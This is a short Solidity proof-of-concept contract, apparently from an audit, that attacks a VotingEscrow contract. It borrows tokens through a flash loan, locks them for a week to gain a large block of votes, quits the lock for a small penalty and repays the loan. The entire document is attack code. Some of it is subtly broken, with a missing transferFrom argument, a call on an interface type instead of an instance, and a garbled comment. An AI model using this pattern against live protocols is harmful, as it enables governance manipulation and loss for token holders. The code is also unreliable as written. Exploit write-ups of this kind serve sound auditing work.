contract VotingEscrowAttack {
    IERC20 constant token = IERC20(0x...); // the token used in the VotingEscrow contract
    IVotingEscrow constant votingEscrow = IVotingEscrow(0x...); // the address of the VotingEscrow contract

    uint constant WEEK = 1 weeks;
    uint constant MAXTIME = 365 days;
    uint constant MAXPENALTY = 10**18;

    uint constant PENALTY_RATE = (WEEK * MAXPENALTY) / MAXTIME;

    IFlashLoan constant flashloanContract = IFlashLoan(0x...); // the address of the flashloan provider

    function attack(uint amount) external {
        uint penalty = (amount * PENALTY_RATE) / (10 ** 18);
        token.transferFrom(msg.sender, penalty); // assuming no flashloan fee
        IFlashLoan.flashloan(token, amount);
    }

    function flashloanCallback(uint amount) {
        votingEscrow.createLock(amount, block.timestamp + WEEK); // create a lock for a week with a very large of token

        // do whatever you want with your large amount of votes
        
        votingEscrow.quitLock();
        token.transfer(msg.sender, amount); // pay back the flashloan
    }
}
